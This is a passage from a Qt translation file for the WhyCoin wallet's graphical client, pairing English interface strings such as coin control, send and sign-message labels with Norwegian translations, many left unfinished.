<location filename="../forms/coincontroldialog.ui" line="+14"/>
<source>Coin Control</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Quantity:</source>
<translation>Mengde:</translation>
</message>
<message>
<location line="+32"/>
<source>Bytes:</source>
<translation>Bytes:</translation>
</message>
<message>
<location line="+48"/>
<source>Amount:</source>
<translation>Beløp:</translation>
</message>
<message>
<location line="+32"/>
<source>Priority:</source>
<translation>Prioritet:</translation>
</message>
<message>
<location line="+48"/>
<source>Fee:</source>
<translation>Avgift:</translation>
</message>
<message>
<location line="+35"/>
<source>Low Output:</source>
<translation>Lav Utdata:</translation>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="+537"/>
<source>no</source>
<translation>nei</translation>
</message>
<message>
<location filename="../forms/coincontroldialog.ui" line="+51"/>
<source>After Fee:</source>
<translation>Etter Avgift:</translation>
</message>
<message>
<location line="+35"/>
<source>Change:</source>
<translation>Endring:</translation>
</message>
<message>
<location line="+69"/>
<source>(un)select all</source>
<translation>Fjern alt valgt</translation>
</message>
<message>
<location line="+13"/>
<source>Tree mode</source>
<translation>Tre modus</translation>
</message>
<message>
<location line="+16"/>
<source>List mode</source>
<translation>Liste modus</translation>
</message>
<message>
<location line="+45"/>
<source>Amount</source>
<translation>Beløp</translation>
</message>
<message>
<location line="+5"/>
<source>Label</source>
<translation>Merkelapp</translation>
</message>
<message>
<location line="+5"/>
<source>Address</source>
<translation>Adresse</translation>
</message>
<message>
<location line="+5"/>
<source>Date</source>
<translation>Dato</translation>
</message>
<message>
<location line="+5"/>
<source>Confirmations</source>
<translation>Bekreftelser</translation>
</message>
<message>
<location line="+3"/>
<source>Confirmed</source>
<translation>Bekreftet</translation>
</message>
<message>
<location line="+5"/>
<source>Priority</source>
<translation>Prioritet</translation>
</message>
<message>
<location filename="../coincontroldialog.cpp" line="-500"/>
<source>Copy address</source>
<translation>Kopier adresse</translation>
</message>
<message>
<location line="+1"/>
<source>Copy label</source>
<translation>Kopier merkelapp</translation>
</message>
<message>
<location line="+1"/>
<location line="+26"/>
<source>Copy amount</source>
<translation>Kopiér beløp</translation>
</message>
<message>
<location line="-25"/>
<source>Copy transaction ID</source>
<translation>Kopier transaksjons-ID</translation>
</message>
<message>
<location line="+24"/>
<source>Copy quantity</source>
<translation>Kopier mengde</translation>
</message>
<message>
<location line="+2"/>
<source>Copy fee</source>
<translation>Kopier gebyr</translation>
</message>
<message>
<location line="+1"/>
<source>Copy after fee</source>
<translation>Kopier etter gebyr</translation>
</message>
<message>
<location line="+1"/>
<source>Copy bytes</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy priority</source>
<translation>Kopier prioritet</translation>
</message>
<message>
<location line="+1"/>
<source>Copy low output</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy change</source>
<translation>Kopier veksel</translation>
</message>
<message>
<location line="+317"/>
<source>highest</source>
<translation>høyest</translation>
</message>
<message>
<location line="+1"/>
<source>high</source>
<translation>høy</translation>
</message>
<message>
<location line="+1"/>
<source>medium-high</source>
<translation>medium-høy</translation>
</message>
<message>
<location line="+1"/>
<source>medium</source>
<translation>medium</translation>
</message>
<message>
<location line="+4"/>
<source>low-medium</source>
<translation>lav-medium</translation>
</message>
<message>
<location line="+1"/>
<source>low</source>
<translation>lav</translation>
</message>
<message>
<location line="+1"/>
<source>lowest</source>
<translation>lavest</translation>
</message>
<message>
<location line="+140"/>
<source>DUST</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>yes</source>
<translation>ja</translation>
</message>
<message>
<location line="+10"/>
<source>This label turns red, if the transaction size is bigger than 10000 bytes.
This means a fee of at least %1 per kb is required.
Can vary +/- 1 Byte per input.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Transactions with higher priority get more likely into a block.
This label turns red, if the priority is smaller than "medium".
This means a fee of at least %1 per kb is required.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if any recipient receives an amount smaller than %1.
This means a fee of at least %2 is required.
Amounts below 0.546 times the minimum relay fee are shown as DUST.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>This label turns red, if the change is smaller than %1.
This means a fee of at least %2 is required.</source>
<translation>Denne merkelappen blir rød, viss endringen er mindre enn %1
Dette betyr at det trengs en avgift på minimum %2.</translation>
</message>
<message>
<location line="+36"/>
<location line="+66"/>
<source>(no label)</source>
<translation>(ingen merkelapp)</translation>
</message>
<message>
<location line="-9"/>
<source>change from %1 (%2)</source>
<translation>endring fra %1 (%2)</translation>
</message>
<message>
<location line="+1"/>
<source>(change)</source>
<translation>(endring)</translation>
</message>
</context>
<context>
<name>EditAddressDialog</name>
<message>
<location filename="../forms/editaddressdialog.ui" line="+14"/>
<source>Edit Address</source>
<translation>Rediger adresse</translation>
</message>
<message>
<location line="+11"/>
<source>&Label</source>
<translation>&Merkelapp</translation>
</message>
<message>
<location line="+10"/>
<source>The label associated with this address book entry</source>
<translation>Merkelappen assosiert med denne adressen</translation>
</message>
<message>
<location line="+7"/>
<source>&Address</source>
<translation>&Adresse</translation>
</message>
<message>
<location line="+10"/>
<source>The address associated with this address book entry. This can only be modified for sending addresses.</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../editaddressdialog.cpp" line="+21"/>
<source>New receiving address</source>
<translation>Ny mottaksadresse</translation>
</message>
<message>
<location line="+4"/>
<source>New sending address</source>
<translation>Ny utsendingsadresse</translation>
</message>
<message>
<location line="+3"/>
<source>Edit receiving address</source>
<translation>Rediger mottaksadresse</translation>
</message>
<message>
<location line="+4"/>
<source>Edit sending address</source>
<translation>Rediger utsendingsadresse</translation>
</message>
<message>
<location line="+76"/>
<source>The entered address "%1" is already in the address book.</source>
<translation>Den oppgitte adressen "%1" er allerede i adresseboken.</translation>
</message>
<message>
<location line="-5"/>
<source>The entered address "%1" is not a valid WhyCoin address.</source>
<translation>Den angitte adressen "%1" er ikke en gyldig WhyCoin adresse.</translation>
</message>
<message>
<location line="+10"/>
<source>Could not unlock wallet.</source>
<translation>Kunne ikke låse opp lommeboken.</translation>
</message>
<message>
<location line="+5"/>
<source>New key generation failed.</source>
<translation>Generering av ny nøkkel feilet.</translation>
</message>
</context>
<context>
<name>GUIUtil::HelpMessageBox</name>
<message>
<location filename="../guiutil.cpp" line="+426"/>
<location line="+12"/>
<source>WhyCoin-Qt</source>
<translation>WhyCoin-Qt</translation>
</message>
<message>
<location line="-12"/>
<source>version</source>
<translation>versjon</translation>
</message>
<message>
<location line="+2"/>
<source>Usage:</source>
<translation>Bruk:</translation>
</message>
<message>
<location line="+1"/>
<source>command-line options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+4"/>
<source>UI options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Set language, for example "de_DE" (default: system locale)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Start minimized</source>
<translation>Start Minimert</translation>
</message>
<message>
<location line="+1"/>
<source>Show splash screen on startup (default: 1)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>OptionsDialog</name>
<message>
<location filename="../forms/optionsdialog.ui" line="+14"/>
<source>Options</source>
<translation>Innstillinger</translation>
</message>
<message>
<location line="+16"/>
<source>&Main</source>
<translation>&Hoved</translation>
</message>
<message>
<location line="+6"/>
<source>Optional transaction fee per kB that helps make sure your transactions are processed quickly. Most transactions are 1 kB. Fee 0.0001 recommended.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Pay transaction &fee</source>
<translation>Betal transaksjons&gebyr</translation>
</message>
<message>
<location line="+31"/>
<source>Reserved amount does not participate in staking and is therefore spendable at any time.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Reserve</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+31"/>
<source>Automatically start WhyCoin after logging in to the system.</source>
<translation>Start WhyCoin automatisk ved hver innlogging.</translation>
</message>
<message>
<location line="+3"/>
<source>&Start WhyCoin on system login</source>
<translation>&Start WhyCoin ved innlogging</translation>
</message>
<message>
<location line="+21"/>
<source>&Network</source>
<translation>&Nettverk</translation>
</message>
<message>
<location line="+6"/>
<source>Automatically open the WhyCoin client port on the router. This only works when your router supports UPnP and it is enabled.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Map port using &UPnP</source>
<translation>Sett opp port vha. &UPnP</translation>
</message>
<message>
<location line="+19"/>
<source>Proxy &IP:</source>
<translation>Proxy &IP:</translation>
</message>
<message>
<location line="+19"/>
<source>IP address of the proxy (e.g. 127.0.0.1)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>&Port:</source>
<translation>&Port:</translation>
</message>
<message>
<location line="+19"/>
<source>Port of the proxy (e.g. 9050)</source>
<translation>Proxyens port (f.eks. 9050)</translation>
</message>
<message>
<location line="-57"/>
<source>Connect to the WhyCoin network through a SOCKS5 proxy (e.g. when connecting through Tor).</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Connect through SOCKS5 proxy:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+90"/>
<source>&Window</source>
<translation>&Vindu</translation>
</message>
<message>
<location line="+6"/>
<source>Show only a tray icon after minimizing the window.</source>
<translation>Vis kun ikon i systemkurv etter minimering av vinduet.</translation>
</message>
<message>
<location line="+3"/>
<source>&Minimize to the tray instead of the taskbar</source>
<translation>&Minimer til systemkurv istedenfor oppgavelinjen</translation>
</message>
<message>
<location line="+7"/>
<source>Minimize instead of exit the application when the window is closed. When this option is enabled, the application will be closed only after selecting Quit in the menu.</source>
<translation>Minimerer vinduet istedenfor å avslutte applikasjonen når vinduet lukkes. Når dette er slått på avsluttes applikasjonen kun ved å velge avslutt i menyen.</translation>
</message>
<message>
<location line="+3"/>
<source>M&inimize on close</source>
<translation>M&inimer ved lukking</translation>
</message>
<message>
<location line="+21"/>
<source>&Display</source>
<translation>&Visning</translation>
</message>
<message>
<location line="+8"/>
<source>User Interface &language:</source>
<translation>&Språk for brukergrensesnitt</translation>
</message>
<message>
<location line="+13"/>
<source>The user interface language can be set here. This setting will take effect after restarting WhyCoin.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+11"/>
<source>&Unit to show amounts in:</source>
<translation>&Enhet for visning av beløper:</translation>
</message>
<message>
<location line="+13"/>
<source>Choose the default subdivision unit to show in the interface and when sending coins.</source>
<translation>Velg standard delt enhet for visning i grensesnittet og for sending av whycoins.</translation>
</message>
<message>
<location line="+9"/>
<source>Whether to show coin control features or not.</source>
<translation>Skal mynt kontroll funksjoner vises eller ikke.</translation>
</message>
<message>
<location line="+3"/>
<source>Display coin &control features (experts only!)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Whether to select the coin outputs randomly or with minimal coin age.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Minimize weight consumption (experimental)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Use red visual theme (requires restart)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+71"/>
<source>&OK</source>
<translation>&OK</translation>
</message>
<message>
<location line="+7"/>
<source>&Cancel</source>
<translation>&Avbryt</translation>
</message>
<message>
<location line="+10"/>
<source>&Apply</source>
<translation>&Bruk</translation>
</message>
<message>
<location filename="../optionsdialog.cpp" line="+47"/>
<source>default</source>
<translation>standardverdi</translation>
</message>
<message>
<location line="+148"/>
<location line="+9"/>
<source>Warning</source>
<translation>Advarsel</translation>
</message>
<message>
<location line="-9"/>
<location line="+9"/>
<source>This setting will take effect after restarting WhyCoin.</source>
<translation>Denne innstillingen vil tre i kraft etter WhyCoin er blitt startet på nytt.</translation>
</message>
<message>
<location line="+29"/>
<source>The supplied proxy address is invalid.</source>
<translation>Angitt proxyadresse er ugyldig.</translation>
</message>
</context>
<context>
<name>OverviewPage</name>
<message>
<location filename="../forms/overviewpage.ui" line="+14"/>
<source>Form</source>
<translation>Skjema</translation>
</message>
<message>
<location line="+46"/>
<location line="+247"/>
<source>The displayed information may be out of date. Your wallet automatically synchronizes with the WhyCoin network after a connection is established, but this process has not completed yet.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-173"/>
<source>Stake:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>Unconfirmed:</source>
<translation>Ubekreftet:</translation>
</message>
<message>
<location line="-113"/>
<source>Wallet</source>
<translation>Lommebok</translation>
</message>
<message>
<location line="+49"/>
<source>Spendable:</source>
<translation>Disponibelt:</translation>
</message>
<message>
<location line="+16"/>
<source>Your current spendable balance</source>
<translation>Din nåværende saldo</translation>
</message>
<message>
<location line="+80"/>
<source>Immature:</source>
<translation>Umoden:</translation>
</message>
<message>
<location line="+13"/>
<source>Mined balance that has not yet matured</source>
<translation>Minet saldo har ikke modnet enda</translation>
</message>
<message>
<location line="+23"/>
<source>Total:</source>
<translation>Totalt:</translation>
</message>
<message>
<location line="+16"/>
<source>Your current total balance</source>
<translation>Din nåværende saldo</translation>
</message>
<message>
<location line="+50"/>
<source><b>Recent transactions</b></source>
<translation><b>Siste transaksjoner</b></translation>
</message>
<message>
<location line="-118"/>
<source>Total of transactions that have yet to be confirmed, and do not yet count toward the current balance</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-32"/>
<source>Total of coins that was staked, and do not yet count toward the current balance</source>
<translation type="unfinished"/>
</message>
<message>
<location filename="../overviewpage.cpp" line="+116"/>
<location line="+1"/>
<source>out of sync</source>
<translation>ute av synk</translation>
</message>
</context>
<context>
<name>PaymentServer</name>
<message>
<location filename="../paymentserver.cpp" line="+107"/>
<source>Cannot start whycoin: click-to-pay handler</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>QRCodeDialog</name>
<message>
<location filename="../forms/qrcodedialog.ui" line="+14"/>
<source>QR Code Dialog</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+59"/>
<source>Request Payment</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+56"/>
<source>Amount:</source>
<translation>Beløp:</translation>
</message>
<message>
<location line="-44"/>
<source>Label:</source>
<translation>Merkelapp:</translation>
</message>
<message>
<location line="+19"/>
<source>Message:</source>
<translation>Melding:</translation>
</message>
<message>
<location line="+71"/>
<source>&Save As...</source>
<translation>&Lagre som...</translation>
</message>
<message>
<location filename="../qrcodedialog.cpp" line="+62"/>
<source>Error encoding URI into QR Code.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>The entered amount is invalid, please check.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Resulting URI too long, try to reduce the text for label / message.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>Save QR Code</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+0"/>
<source>PNG Images (*.png)</source>
<translation>PNG Bilder (*.png)</translation>
</message>
</context>
<context>
<name>RPCConsole</name>
<message>
<location filename="../forms/rpcconsole.ui" line="+46"/>
<source>Client name</source>
<translation>Klientnavn</translation>
</message>
<message>
<location line="+10"/>
<location line="+23"/>
<location line="+26"/>
<location line="+23"/>
<location line="+23"/>
<location line="+36"/>
<location line="+53"/>
<location line="+23"/>
<source>N/A</source>
<translation>-</translation>
</message>
<message>
<location line="-194"/>
<source>Client version</source>
<translation>Klientversjon</translation>
</message>
<message>
<location line="-45"/>
<source>&Information</source>
<translation>&Informasjon</translation>
</message>
<message>
<location line="+68"/>
<source>Using OpenSSL version</source>
<translation>Bruker OpenSSL versjon</translation>
</message>
<message>
<location line="+49"/>
<source>Startup time</source>
<translation>Oppstartstidspunkt</translation>
</message>
<message>
<location line="+29"/>
<source>Network</source>
<translation>Nettverk</translation>
</message>
<message>
<location line="+7"/>
<source>Number of connections</source>
<translation>Antall tilkoblinger</translation>
</message>
<message>
<location line="+23"/>
<source>On testnet</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+23"/>
<source>Block chain</source>
<translation>Blokkjeden</translation>
</message>
<message>
<location line="+7"/>
<source>Current number of blocks</source>
<translation>Nåværende antall blokker</translation>
</message>
<message>
<location line="+197"/>
<source>&Network Traffic</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+52"/>
<source>&Clear</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+13"/>
<source>Totals</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+64"/>
<source>In:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+80"/>
<source>Out:</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-383"/>
<source>Last block time</source>
<translation>Tidspunkt for siste blokk</translation>
</message>
<message>
<location line="+52"/>
<source>&Open</source>
<translation>&Åpne</translation>
</message>
<message>
<location line="+16"/>
<source>Command-line options</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>Show the WhyCoin-Qt help message to get a list with possible WhyCoin command-line options.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>&Show</source>
<translation>&Vis</translation>
</message>
<message>
<location line="+24"/>
<source>&Console</source>
<translation>&Konsoll</translation>
</message>
<message>
<location line="-237"/>
<source>Build date</source>
<translation>Byggedato</translation>
</message>
<message>
<location line="-104"/>
<source>WhyCoin - Debug window</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+25"/>
<source>WhyCoin Core</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+256"/>
<source>Debug log file</source>
<translation>Loggfil for feilsøk</translation>
</message>
<message>
<location line="+7"/>
<source>Open the WhyCoin debug log file from the current data directory. This can take a few seconds for large log files.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+102"/>
<source>Clear console</source>
<translation>Tøm konsoll</translation>
</message>
<message>
<location filename="../rpcconsole.cpp" line="+325"/>
<source>Welcome to the WhyCoin RPC console.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Use up and down arrows to navigate history, and <b>Ctrl-L</b> to clear screen.</source>
<translation>Bruk opp og ned pil for å navigere historikken, og <b>Ctrl-L</b> for å tømme skjermen.</translation>
</message>
<message>
<location line="+1"/>
<source>Type <b>help</b> for an overview of available commands.</source>
<translation>Skriv <b>help</b> for en oversikt over kommandoer.</translation>
</message>
<message>
<location line="+127"/>
<source>%1 B</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 KB</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 MB</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 GB</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+7"/>
<source>%1 m</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>%1 h</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+2"/>
<source>%1 h %2 m</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SendCoinsDialog</name>
<message>
<location filename="../forms/sendcoinsdialog.ui" line="+14"/>
<location filename="../sendcoinsdialog.cpp" line="+182"/>
<location line="+5"/>
<location line="+5"/>
<location line="+5"/>
<location line="+6"/>
<location line="+5"/>
<location line="+5"/>
<source>Send Coins</source>
<translation>Send WhyCoins</translation>
</message>
<message>
<location line="+76"/>
<source>Coin Control Features</source>
<translation>Mynt Kontroll Funksjoner</translation>
</message>
<message>
<location line="+20"/>
<source>Inputs...</source>
<translation>Inndata...</translation>
</message>
<message>
<location line="+7"/>
<source>automatically selected</source>
<translation>automatisk valgte</translation>
</message>
<message>
<location line="+19"/>
<source>Insufficient funds!</source>
<translation>Utilstrekkelige midler!</translation>
</message>
<message>
<location line="+77"/>
<source>Quantity:</source>
<translation>Mengde:</translation>
</message>
<message>
<location line="+22"/>
<location line="+35"/>
<source>0</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-19"/>
<source>Bytes:</source>
<translation>Bytes:</translation>
</message>
<message>
<location line="+51"/>
<source>Amount:</source>
<translation>Beløp:</translation>
</message>
<message>
<location line="+35"/>
<source>Priority:</source>
<translation>Prioritet:</translation>
</message>
<message>
<location line="+19"/>
<source>medium</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+32"/>
<source>Fee:</source>
<translation>Avgift:</translation>
</message>
<message>
<location line="+35"/>
<source>Low Output:</source>
<translation>Lav Utdata:</translation>
</message>
<message>
<location line="+19"/>
<source>no</source>
<translation>nei</translation>
</message>
<message>
<location line="+32"/>
<source>After Fee:</source>
<translation>Etter Avgift:</translation>
</message>
<message>
<location line="+35"/>
<source>Change</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+50"/>
<source>custom change address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+106"/>
<source>Send to multiple recipients at once</source>
<translation>Send til flere enn én mottaker</translation>
</message>
<message>
<location line="+3"/>
<source>Add &Recipient</source>
<translation>&Legg til Mottaker</translation>
</message>
<message>
<location line="+16"/>
<source>Remove all transaction fields</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+3"/>
<source>Clear &All</source>
<translation>Fjern &Alt</translation>
</message>
<message>
<location line="+24"/>
<source>Balance:</source>
<translation>Saldo:</translation>
</message>
<message>
<location line="+47"/>
<source>Confirm the send action</source>
<translation>Bekreft sending</translation>
</message>
<message>
<location line="+3"/>
<source>S&end</source>
<translation>S&end</translation>
</message>
<message>
<location filename="../sendcoinsdialog.cpp" line="-174"/>
<source>Enter a WhyCoin address (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>Copy quantity</source>
<translation>Kopier mengde</translation>
</message>
<message>
<location line="+1"/>
<source>Copy amount</source>
<translation>Kopiér beløp</translation>
</message>
<message>
<location line="+1"/>
<source>Copy fee</source>
<translation>Kopier gebyr</translation>
</message>
<message>
<location line="+1"/>
<source>Copy after fee</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy bytes</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy priority</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy low output</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+1"/>
<source>Copy change</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+87"/>
<source><b>%1</b> to %2 (%3)</source>
<translation><b>%1</b> til %2 (%3)</translation>
</message>
<message>
<location line="+5"/>
<source>Confirm send coins</source>
<translation>Bekreft sending av bitcoins</translation>
</message>
<message>
<location line="+1"/>
<source>Are you sure you want to send %1?</source>
<translation>Er du sikker på du ønsker å sende %1?</translation>
</message>
<message>
<location line="+0"/>
<source> and </source>
<translation>og</translation>
</message>
<message>
<location line="+29"/>
<source>The recipient address is not valid, please recheck.</source>
<translation>Adresse for mottaker er ugyldig.</translation>
</message>
<message>
<location line="+5"/>
<source>The amount to pay must be larger than 0.</source>
<translation>Beløpen som skal betales må være over 0.</translation>
</message>
<message>
<location line="+5"/>
<source>The amount exceeds your balance.</source>
<translation>Beløpet overstiger saldo.</translation>
</message>
<message>
<location line="+5"/>
<source>The total exceeds your balance when the %1 transaction fee is included.</source>
<translation>Totalbeløpet overstiger saldo etter at %1 transaksjonsgebyr er lagt til.</translation>
</message>
<message>
<location line="+6"/>
<source>Duplicate address found, can only send to each address once per send operation.</source>
<translation>Duplikate adresser funnet. Kan bare sende én gang til hver adresse per operasjon.</translation>
</message>
<message>
<location line="+5"/>
<source>Error: Transaction creation failed!</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+5"/>
<source>Error: The transaction was rejected. This might happen if some of the coins in your wallet were already spent, such as if you used a copy of wallet.dat and coins were spent in the copy but not marked as spent here.</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+247"/>
<source>WARNING: Invalid WhyCoin address</source>
<translation>ADVARSEL: Ugyldig WhyCoin adresse</translation>
</message>
<message>
<location line="+13"/>
<source>(no label)</source>
<translation>(ingen merkelapp)</translation>
</message>
<message>
<location line="+4"/>
<source>WARNING: unknown change address</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SendCoinsEntry</name>
<message>
<location filename="../forms/sendcoinsentry.ui" line="+14"/>
<source>Form</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+15"/>
<source>A&mount:</source>
<translation>&Beløp:</translation>
</message>
<message>
<location line="+13"/>
<source>Pay &To:</source>
<translation>Betal &Til:</translation>
</message>
<message>
<location line="+34"/>
<source>The address to send the payment to (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+60"/>
<location filename="../sendcoinsentry.cpp" line="+26"/>
<source>Enter a label for this address to add it to your address book</source>
<translation>Skriv inn en merkelapp for denne adressen for å legge den til i din adressebok</translation>
</message>
<message>
<location line="-78"/>
<source>&Label:</source>
<translation>&Merkelapp:</translation>
</message>
<message>
<location line="+28"/>
<source>Choose address from address book</source>
<translation>Velg adresse fra adresseboken</translation>
</message>
<message>
<location line="+10"/>
<source>Alt+A</source>
<translation>Alt+A</translation>
</message>
<message>
<location line="+7"/>
<source>Paste address from clipboard</source>
<translation>Lim inn adresse fra utklippstavlen</translation>
</message>
<message>
<location line="+10"/>
<source>Alt+P</source>
<translation>Alt+P</translation>
</message>
<message>
<location line="+7"/>
<source>Remove this recipient</source>
<translation>Fjern denne mottakeren</translation>
</message>
<message>
<location filename="../sendcoinsentry.cpp" line="+1"/>
<source>Enter a WhyCoin address (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
</context>
<context>
<name>SignVerifyMessageDialog</name>
<message>
<location filename="../forms/signverifymessagedialog.ui" line="+14"/>
<source>Signatures - Sign / Verify a Message</source>
<translation>Signaturer - Signer / Verifiser en melding</translation>
</message>
<message>
<location line="+13"/>
<location line="+124"/>
<source>&Sign Message</source>
<translation>&Signér Melding</translation>
</message>
<message>
<location line="-118"/>
<source>You can sign messages with your addresses to prove you own them. Be careful not to sign anything vague, as phishing attacks may try to trick you into signing your identity over to them. Only sign fully-detailed statements you agree to.</source>
<translation>Du kan signere meldinger med dine adresser for å bevise at du eier dem. Ikke signér vage meldinger da phishing-angrep kan prøve å lure deg til å signere din identitet over til andre. Signér kun fullt detaljerte utsagn som du er enig i.</translation>
</message>
<message>
<location line="+18"/>
<source>The address to sign the message with (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+10"/>
<location line="+203"/>
<source>Choose an address from the address book</source>
<translation>Velg en adresse fra adresseboken</translation>
</message>
<message>
<location line="-193"/>
<location line="+203"/>
<source>Alt+A</source>
<translation>Alt+A</translation>
</message>
<message>
<location line="-193"/>
<source>Paste address from clipboard</source>
<translation>Lim inn adresse fra utklippstavlen</translation>
</message>
<message>
<location line="+10"/>
<source>Alt+P</source>
<translation>Alt+P</translation>
</message>
<message>
<location line="+12"/>
<source>Enter the message you want to sign here</source>
<translation>Skriv inn meldingen du vil signere her</translation>
</message>
<message>
<location line="+24"/>
<source>Copy the current signature to the system clipboard</source>
<translation>Kopier valgt signatur til utklippstavle</translation>
</message>
<message>
<location line="+21"/>
<source>Sign the message to prove you own this WhyCoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Reset all sign message fields</source>
<translation>Tilbakestill alle felter for meldingssignering</translation>
</message>
<message>
<location line="+3"/>
<location line="+146"/>
<source>Clear &All</source>
<translation>Fjern &Alt</translation>
</message>
<message>
<location line="-87"/>
<location line="+70"/>
<source>&Verify Message</source>
<translation>&Verifiser Melding</translation>
</message>
<message>
<location line="-64"/>
<source>Enter the signing address, message (ensure you copy line breaks, spaces, tabs, etc. exactly) and signature below to verify the message. Be careful not to read more into the signature than what is in the signed message itself, to avoid being tricked by a man-in-the-middle attack.</source>
<translation>Angi adresse for signering, melding (vær sikker på at du kopierer linjeskift, mellomrom, tab, etc. helt nøyaktig) og signatur under for å verifisere meldingen. Vær forsiktig med at du ikke gir signaturen mer betydning enn det som faktisk står i meldingen, for å unngå å bli lurt av såkalte "man-in-the-middle" angrep.</translation>
</message>
<message>
<location line="+21"/>
<source>The address the message was signed with (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+40"/>
<source>Verify the message to ensure it was signed with the specified WhyCoin address</source>
<translation type="unfinished"/>
</message>
<message>
<location line="+17"/>
<source>Reset all verify message fields</source>
<translation>Tilbakestill alle felter for meldingsverifikasjon</translation>
</message>
<message>
<location filename="../signverifymessagedialog.cpp" line="+27"/>
<location line="+3"/>
<source>Enter a WhyCoin address (e.g. RDnVX8VK5b7egm1FFuCHHe3H7U4VL3zxK6)</source>
<translation type="unfinished"/>
</message>
<message>
<location line="-2"/>
<source>Click "Sign Message" to generate signature</source>
<translation>Klikk "Signer Melding" for å generere signatur</translation>
</message>
<message>
<location line="+3"/>
<source>Enter WhyCoin signature</source>
<translation>Skriv inn WhyCoin signatur</translation>
</message>
<message>
<location line="+85"/>
<location line="+81"/>
<source>The entered address is invalid.</source>
<translation>Angitt adresse er ugyldig.</translation>
</message>
<message>
<location line="-81"/>
<location line="+8"/>
<location line="+73"/>
<location line="+8"/>
<source>Please check the address and try again.</source>
<translation>Vennligst sjekk adressen og prøv igjen.</translation>
</message>
<message>
<location line="-81"/>
<location line="+81"/>
<source>The entered address does not refer to a key.</source>
<translation>Angitt adresse refererer ikke til en nøkkel.</translation>
</message>
<message>
<location line="-73"/>
<source>Wallet unlock was cancelled.</source>
<translation>Opplåsing av lommebok ble avbrutt.</translation>
</message>
<message>
<location line="+8"/>
<source>Private key for the entered address is not available.</source>
